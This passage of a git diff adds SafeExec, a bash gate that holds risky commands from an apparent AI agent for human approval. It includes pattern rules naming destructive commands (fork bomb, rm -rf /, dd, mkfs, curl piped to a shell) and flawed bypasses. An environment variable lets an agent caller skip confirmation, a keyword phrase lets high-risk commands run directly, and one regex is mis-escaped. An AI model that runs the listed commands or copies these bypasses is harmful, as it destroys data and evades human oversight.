SAFEXEC_CONTEXT="$USER_CONTEXT" + +# 执行命令 +exec $SAFE_EXEC_BIN "$COMMAND" diff --git a/scripts/safe-exec-approve.sh b/scripts/safe-exec-approve.sh new file mode 100644 index 0000000..4b67866 --- /dev/null +++ b/scripts/safe-exec-approve.sh @@ -0,0 +1,73 @@ +#!/bin/bash +# safe-exec-approve - 批准待执行的命令 + +REQUEST_ID="$1" +SAFE_EXEC_DIR="$HOME/.openclaw/safe-exec" +PENDING_DIR="$SAFE_EXEC_DIR/pending" + +if [[ -z "$REQUEST_ID" ]]; then + echo "用法: safe-exec-approve " + echo "" + echo "查看待处理的请求:" + echo " ls ~/.openclaw/safe-exec/pending/" + exit 1 +fi + +REQUEST_FILE="$PENDING_DIR/$REQUEST_ID.json" + +if [[ ! -f "$REQUEST_FILE" ]]; then + echo "❌ 请求 $REQUEST_ID 不存在" + exit 1 +fi + +# 读取请求信息 +COMMAND=$(jq -r '.command' "$REQUEST_FILE") +RISK=$(jq -r '.risk' "$REQUEST_FILE") + +# 检测运行环境 +IS_INTERACTIVE=false +if [[ -t 0 ]]; then + # 检查 stdin 是否是终端 + IS_INTERACTIVE=true +fi + +# 检查是否由 OpenClaw Agent 调用 +if [[ -n "$OPENCLAW_AGENT_CALL" ]] || [[ -n "$SAFE_EXEC_AUTO_CONFIRM" ]]; then + IS_INTERACTIVE=false +fi + +echo "⚠️ 即将执行以下命令:" +echo "" +echo "风险等级: ${RISK^^}" +echo "命令: $COMMAND" +echo "" + +# 请求确认(仅在交互式环境) +if [[ "$IS_INTERACTIVE" == "true" ]]; then + read -p "确认执行?(yes/no): " confirm + if [[ "$confirm" != "yes" ]]; then + echo "❌ 已取消" + exit 0 + fi + echo "✅ 已确认" +else + echo "🤖 非交互式环境 - 自动跳过确认" +fi + +# 标记为已批准并执行 +jq '.status = "approved"' "$REQUEST_FILE" > "$REQUEST_FILE.tmp" && mv "$REQUEST_FILE.tmp" "$REQUEST_FILE" + +echo "✅ 执行中..." +eval "$COMMAND" +exit_code=$? + +# 清理已处理的请求 +rm "$REQUEST_FILE" + +if [[ $exit_code -eq 0 ]]; then + echo "✅ 命令执行成功" +else + echo "⚠️ 命令执行失败(退出码: $exit_code)" +fi + +exit $exit_code diff --git a/scripts/safe-exec-list.sh b/scripts/safe-exec-list.sh new file mode 100644 index 0000000..58b4cac --- /dev/null +++ b/scripts/safe-exec-list.sh @@ -0,0 +1,41 @@ +#!/bin/bash +# safe-exec-list - 列出所有待处理的批准请求 + +SAFE_EXEC_DIR="$HOME/.openclaw/safe-exec" +PENDING_DIR="$SAFE_EXEC_DIR/pending" + +if [[ ! -d "$PENDING_DIR" ]]; then + echo "没有待处理的请求" + exit 0 +fi + +REQUESTS=("$PENDING_DIR"/*.json) + +if [[ ! -e "${REQUESTS[0]}" ]]; then + echo "没有待处理的请求" + exit 0 +fi + +echo "📋 待处理的批准请求:" +echo "" + +for request_file in "${REQUESTS[@]}"; do + if [[ -f "$request_file" ]]; then + request_id=$(basename "$request_file" .json) + command=$(jq -r '.command' "$request_file") + risk=$(jq -r '.risk' "$request_file") + reason=$(jq -r '.reason' "$request_file") + timestamp=$(jq -r '.timestamp' "$request_file") + time_str=$(date -d "@$timestamp" "+%Y-%m-%d %H:%M:%S" 2>/dev/null || echo "未知时间") + + echo "📌 请求 ID: $request_id" + echo " 风险: ${risk^^}" + echo " 命令: $command" + echo " 原因: $reason" + echo " 时间: $time_str" + echo "" + fi +done + +echo "批准命令: safe-exec-approve " +echo "拒绝命令: safe-exec-reject " diff --git a/scripts/safe-exec-reject.sh b/scripts/safe-exec-reject.sh new file mode 100644 index 0000000..99d8b13 --- /dev/null +++ b/scripts/safe-exec-reject.sh @@ -0,0 +1,38 @@ +#!/bin/bash +# safe-exec-reject - 拒绝待执行的命令 + +REQUEST_ID="$1" +SAFE_EXEC_DIR="$HOME/.openclaw/safe-exec" +PENDING_DIR="$SAFE_EXEC_DIR/pending" + +if [[ -z "$REQUEST_ID" ]]; then + echo "用法: safe-exec-reject " + echo "" + echo "查看待处理的请求:" + echo " ls ~/.openclaw/safe-exec/pending/" + exit 1 +fi + +REQUEST_FILE="$PENDING_DIR/$REQUEST_ID.json" + +if [[ ! -f "$REQUEST_FILE" ]]; then + echo "❌ 请求 $REQUEST_ID 不存在" + exit 1 +fi + +# 读取请求信息 +COMMAND=$(jq -r '.command' "$REQUEST_FILE") + +# 标记为已拒绝 +jq '.status = "rejected"' "$REQUEST_FILE" > "$REQUEST_FILE.tmp" && mv "$REQUEST_FILE.tmp" "$REQUEST_FILE" + +echo "❌ 命令已拒绝: $COMMAND" + +# 记录到审计日志 +AUDIT_LOG="$HOME/.openclaw/safe-exec-audit.log" +echo "{\"timestamp\":\"$(date -u +"%Y-%m-%dT%H:%M:%S.%3NZ")\",\"event\":\"rejected\",\"requestId\":\"$REQUEST_ID\",\"command\":\"$(echo "$COMMAND" | jq -Rs .)\"}" >> "$AUDIT_LOG" + +# 清理已处理的请求 +rm "$REQUEST_FILE" + +echo "请求已拒绝并清理" diff --git a/scripts/safe-exec.sh b/scripts/safe-exec.sh new file mode 100644 index 0000000..446f372 --- /dev/null +++ b/scripts/safe-exec.sh @@ -0,0 +1,404 @@ +#!/bin/bash +# SafeExec v0.3.3 - 安全增强版本 +# 移除监控组件,添加完整的 metadata 声明 + +SAFE_EXEC_DIR="$HOME/.openclaw/safe-exec" +AUDIT_LOG="$HOME/.openclaw/safe-exec-audit.log" +PENDING_DIR="$SAFE_EXEC_DIR/pending" +RULES_FILE="$HOME/.openclaw/safe-exec-rules.json" +REQUEST_TIMEOUT=300 # 5分钟超时 + +# 上下文感知配置 +USER_CONTEXT="${SAFEXEC_CONTEXT:-}" + +mkdir -p "$PENDING_DIR" + +# 检查 SafeExec 是否启用 +is_enabled() { + if [[ ! -f "$RULES_FILE" ]]; then + echo "true" + return + fi + + # 检查文件格式 + local first_char=$(head -c 1 "$RULES_FILE") + + if [[ "$first_char" == "[" ]]; then + # 数组格式,默认启用 + echo "true" + return + fi + + # 对象格式,检查 enabled 字段 + local enabled + enabled=$(jq -r 'if .enabled == true then "true" else "false" end' "$RULES_FILE" 2>/dev/null) + + # 如果解析失败,默认启用 + if [[ -z "$enabled" ]] || [[ "$enabled" == "null" ]]; then + echo "true" + else + echo "$enabled" + fi +} + +# 设置启用状态 +set_enabled() { + local value="$1" + + if [[ ! -f "$RULES_FILE" ]]; then + echo "{\"enabled\":$value,\"rules\":[]}" > "$RULES_FILE" + else + # 检查文件格式(数组 vs 对象) + local first_char=$(head -c 1 "$RULES_FILE") + + if [[ "$first_char" == "[" ]]; then + # 当前是数组格式,转换为对象格式 + local rules_array=$(cat "$RULES_FILE") + echo "{\"enabled\":$value,\"rules\":$rules_array}" > "$RULES_FILE" + else + # 当前是对象格式,直接更新 + jq ".enabled = $value" "$RULES_FILE" > "$RULES_FILE.tmp" && mv "$RULES_FILE.tmp" "$RULES_FILE" + fi + fi + + local status + if [[ "$value" == "true" ]]; then + status="✅ 已启用" + else + status="❌ 已禁用" + fi + + echo "$status" + log_audit "toggle" "{\"enabled\":$value}" +} + +# 获取自定义确认关键词 +get_confirmation_keywords() { + if [[ ! -f "$RULES_FILE" ]]; then + # 默认关键词 + echo "我已明确风险|I understand the risk" + return + fi + + # 检查文件格式 + local first_char=$(head -c 1 "$RULES_FILE") + + if [[ "$first_char" == "[" ]]; then + # 数组格式,返回默认关键词 + echo "我已明确风险|I understand the risk" + return + fi + + # 对象格式,尝试读取自定义关键词 + local keywords + keywords=$(jq -r '.contextAware.confirmationKeywords // "我已明确风险|I understand the risk"' "$RULES_FILE" 2>/dev/null) + + if [[ -z "$keywords" ]] || [[ "$keywords" == "null" ]]; then + echo "我已明确风险|I understand the risk" + else + echo "$keywords" + fi +} + +# 检测用户明确确认 +detect_user_confirmation() { + local context="$1" + local keywords=$(get_confirmation_keywords) + + # 检查上下文中是否包含确认关键词 + if echo "$context" | grep -qE "$keywords"; then + echo "confirmed" + return 0 + fi + + echo "normal" + return 1 +} + +# 显示当前状态 +show_status() { + local enabled + enabled=$(is_enabled) + + echo "🛡️ SafeExec 状态" + echo "" + + if [[ "$enabled" == "true" ]]; then + echo "状态: ✅ **已启用**" + echo "" + echo "危险命令将被拦截并请求批准。" + else + echo "状态: ❌ **已禁用**" + echo "" + echo "⚠️ 所有命令将直接执行,不受保护!" + echo "建议仅在可信环境中禁用。" + fi + + echo "" + echo "切换状态:" + echo " 启用: safe-exec --enable" + echo " 禁用: safe-exec --disable" +} + +# 清理过期的请求 +cleanup_expired_requests() { + local now=$(date +%s) + local count=0 + + for request_file in "$PENDING_DIR"/*.json; do + if [[ -f "$request_file" ]]; then + local timestamp=$(jq -r '.timestamp' "$request_file" 2>/dev/null) + if [[ -n "$timestamp" ]]; then + local age=$((now - timestamp)) + if [[ $age -gt $REQUEST_TIMEOUT ]]; then + local request_id=$(basename "$request_file" .json) + jq '.status = "expired"' "$request_file" > "$request_file.tmp" && mv "$request_file.tmp" "$request_file" + echo "{\"timestamp\":\"$(date -u +"%Y-%m-%dT%H:%M:%S.%3NZ")\",\"event\":\"expired\",\"requestId\":\"$request_id\",\"age\":$age}" >> "$AUDIT_LOG" + rm -f "$request_file" + count=$((count + 1)) + fi + fi + fi + done + + return $count +} + +log_audit() { + local event="$1" + local data="$2" + local timestamp=$(date -u +"%Y-%m-%dT%H:%M:%S.%3NZ") + + # 构造完整的 JSON 对象 + # 注意:data 参数应该已经是 JSON 格式,但不带外层花括号 + # 例如:data='"requestId":"xxx","command":"xxx"' + # 我们需要移除 data 的外层花括号(如果有的话) + local clean_data="${data#{}" # 移除开头的 { + clean_data="${clean_data%\}}" # 移除结尾的 } + + echo "{\"timestamp\":\"$timestamp\",\"event\":\"$event\",$clean_data}" >> "$AUDIT_LOG" +} + +assess_risk() { + local cmd="$1" + local risk="low" + local reason="" + + if [[ "$cmd" == *":(){:|:&};:"* ]] || [[ "$cmd" == *":(){ :|:& };:"* ]]; then + risk="critical" + reason="Fork炸弹" + elif echo "$cmd" | grep -qE 'rm[[:space:]]+-rf[[:space:]]+[\/~]'; then + risk="critical" + reason="删除根目录或家目录文件" + elif echo "$cmd" | grep -qE 'dd[[:space:]]+if='; then + risk="critical" + reason="磁盘破坏命令" + elif echo "$cmd" | grep -qE 'mkfs\.'; then + risk="critical" + reason="格式化文件系统" + elif echo "$cmd" | grep -qE '>[[:space:]]*/dev/sd[a-z]'; then + risk="critical" + reason="直接写入磁盘" + elif echo "$cmd" | grep -qE 'chmod[[:space:]]+777'; then + risk="high" + reason="设置文件为全局可写" + elif echo "$cmd" | grep -qE '>[[:space:]]*/(etc|boot|sys|root)/'; then + risk="high" + reason="写入系统目录" + elif echo "$cmd" | grep -qE '(curl|wget).*|[[:space:]]*(bash|sh|python)'; then + risk="high" + reason="管道下载到shell" + elif echo "$cmd" | grep -qE 'sudo[[:space:]]+'; then + risk="medium" + reason="使用特权执行" + elif echo "$cmd" | grep -qE 'iptables|firewall-cmd|ufw'; then + risk="medium" + reason="修改防火墙规则" + fi + + echo "{\"risk\":\"$risk\",\"reason\":\"$reason\"}" +} + +request_approval() { + local command="$1" + local risk="$2" + local reason="$3" + local request_id="req_$(date +%s)_$(shuf -i 1000-9999 -n 1)" + + echo "{\"id\":\"$request_id\",\"command\":$(echo "$command" | jq -Rs .),\"risk\":\"$risk\",\"reason\":\"$reason\",\"timestamp\":$(date +%s),\"status\":\"pending\"}" > "$PENDING_DIR/$request_id.json" + + log_audit "approval_requested" "{\"requestId\":\"$request_id\",\"command\":$(echo "$command" | jq -Rs .),\"risk\":\"$risk\",\"reason\":\"$reason\"}" + + cat <\"" + exit 1 + fi + + # 检查是否启用 + local enabled + enabled=$(is_enabled) + + if [[ "$enabled" != "true" ]]; then + # SafeExec 已禁用,直接执行命令 + log_audit "bypassed" "{\"command\":$(echo "$command" | jq -Rs .),\"reason\":\"SafeExec disabled\"}" + eval "$command" + exit $? + fi + + # 自动清理过期请求 + cleanup_expired_requests + + local assessment + assessment=$(assess_risk "$command") + local risk + local reason + risk=$(echo "$assessment" | jq -r '.risk') + reason=$(echo "$assessment" | jq -r '.reason') + + # ========== 上下文感知拦截 ========== + # 检查用户是否提供了明确的确认关键词 + if [[ -n "$USER_CONTEXT" ]]; then + local confirmation + confirmation=$(detect_user_confirmation "$USER_CONTEXT") + + if [[ "$confirmation" == "confirmed" ]]; then + # 用户已明确风险,根据原风险等级决定处理方式 + if [[ "$risk" == "critical" ]]; then + # CRITICAL 风险:降级到 MEDIUM(仍需批准,但降低警告级别) + echo "⚠️ 检测到确认关键词,但风险等级为 CRITICAL" + echo "ℹ️ 命令降级到 MEDIUM,但仍需批准" + risk="medium" + log_audit "context_aware_downgrade" "{\"originalRisk\":\"critical\",\"newRisk\":\"medium\",\"reason\":\"用户确认关键词\",\"context\":$(echo "$USER_CONTEXT" | jq -Rs .)}" + elif [[ "$risk" == "high" ]]; then + # HIGH 风险:降级到 LOW(直接执行) + echo "✅ 检测到确认关键词,风险等级从 HIGH 降级到 LOW" + echo "⚡ 直接执行命令: $command" + log_audit "context_aware_allowed" "{\"originalRisk\":\"high\",\"newRisk\":\"low\",\"reason\":\"用户确认关键词\",\"context\":$(echo "$USER_CONTEXT" | jq -Rs .)}" + eval "$command" + exit $? + elif [[ "$risk" == "medium" ]]; then + # MEDIUM 风险:降级到 LOW(直接执行) + echo "✅ 检测到确认关键词,风险等级从 MEDIUM 降级到 LOW" + echo "⚡ 直接执行命令: $command" + log_audit "context_aware_allowed" "{\"originalRisk\":\"medium\",\"newRisk\":\"low\",\"reason\":\"用户确认关键词\",\"context\":$(echo "$USER_CONTEXT" | jq -Rs .)}" + eval "$command" + exit $? + fi + fi + fi + # ========== 上下文感知拦截结束 ========== + + if [[ "$risk" == "low" ]]; then + log_audit "allowed" "{\"command\":$(echo "$command" | jq -Rs .),\"risk\":\"low\"}" + eval "$command" + exit $? + fi + + request_approval "$command" "$risk" "$reason" + exit 0 +} + +# 处理命令行参数 +case "$1" in + --enable) + set_enabled "true" + exit 0 + ;; + --disable) + set_enabled "false" + exit 0 + ;; + --status) + show_status + exit 0 + ;; + --approve) + request_file="$PENDING_DIR/$2.json" + if [[ -f "$request_file" ]]; then + command=$(jq -r '.command' "$request_file") + echo "✅ 执行命令: $command" + log_audit "executed" "{\"requestId\":\"$2\"}" + eval "$command" + exit_code=$? + rm -f "$request_file" + exit $exit_code + fi + echo "❌ 请求不存在: $2" + exit 1 + ;; + --reject) + request_file="$PENDING_DIR/$2.json" + if [[ -f "$request_file" ]]; then + command=$(jq -r '.command' "$request_file") + log_audit "rejected" "{\"requestId\":\"$2\"}" + rm -f "$request_file" + echo "❌ 请求已拒绝" + exit 0 + fi + echo "❌ 请求不存在: $2" + exit 1 + ;; + --list) + echo "📋 **待处理的批准请求:**" + echo "" + count=0 + for f in "$PENDING_DIR"/*.json; do + if [[ -f "$f" ]]; then + count=$((count + 1)) + id=$(basename "$f" .json) + cmd=$(jq -r '.command' "$f") + rsk=$(jq -r '.risk' "$f") + reason=$(jq -r '.reason' "$f") + printf "📌 **请求 %d**\n" "$count" + printf " **ID:** \`%s\`\n" "$id" + printf " **风险:** %s\n" "${rsk^^}" + printf " **命令:** \`%s\`\n" "$cmd" + printf " **原因:** %s\n" "$reason" + echo "" + printf " 批准: \`safe-exec-approve %s\`\n" "$id" + printf " 拒绝: \`safe-exec-reject %s\`\n" "$id" + echo "" + fi + done + + if [[ $count -eq 0 ]]; then + echo "✅ 没有待处理的请求" + fi + exit 0 + ;; + --cleanup) + cleanup_expired_requests + echo "✅ 清理完成" + exit 0 + ;; +esac + +main "$@" diff --git a/tests/test.sh b/tests/test.sh new file mode 100644 index 0000000..d7bd810 --- /dev/null +++ b/tests/test.sh @@ -0,0 +1,36 @@ +#!/bin/bash +# SafeExec Skill 测试脚本 + +echo "🧪 SafeExec Skill - 功能测试" +echo "================================" +echo "" + +# 测试 1: 安全命令 +echo "✅ 测试 1: 安全命令(应该直接执行)" +safe-exec "echo 'Hello, SafeExec!' && date" +echo "" + +# 测试 2: 危险命令 - 会被拦截 +echo "⚠️ 测试 2: 危险命令(应该请求批准)" +echo "命令: rm -rf /tmp/test-safe-exec" +safe-exec "rm -rf /tmp/test-safe-exec" +echo "" + +# 检查是否有待处理的请求 +echo "" +echo "📋 检查待处理的请求..." +if [[ -f ~/.openclaw/safe-exec/pending/req_*.json ]]; then + echo "发现待处理的请求!" + safe-exec-list +else + echo "没有待处理的请求" +fi + +echo "" +echo "================================" +echo "测试完成!" +echo "" +echo "💡 使用方法:" +echo " 查看待处理请求: safe-exec-list" +echo " 批准命令: safe-exec-approve " +echo " 拒绝命令: safe-exec-reject "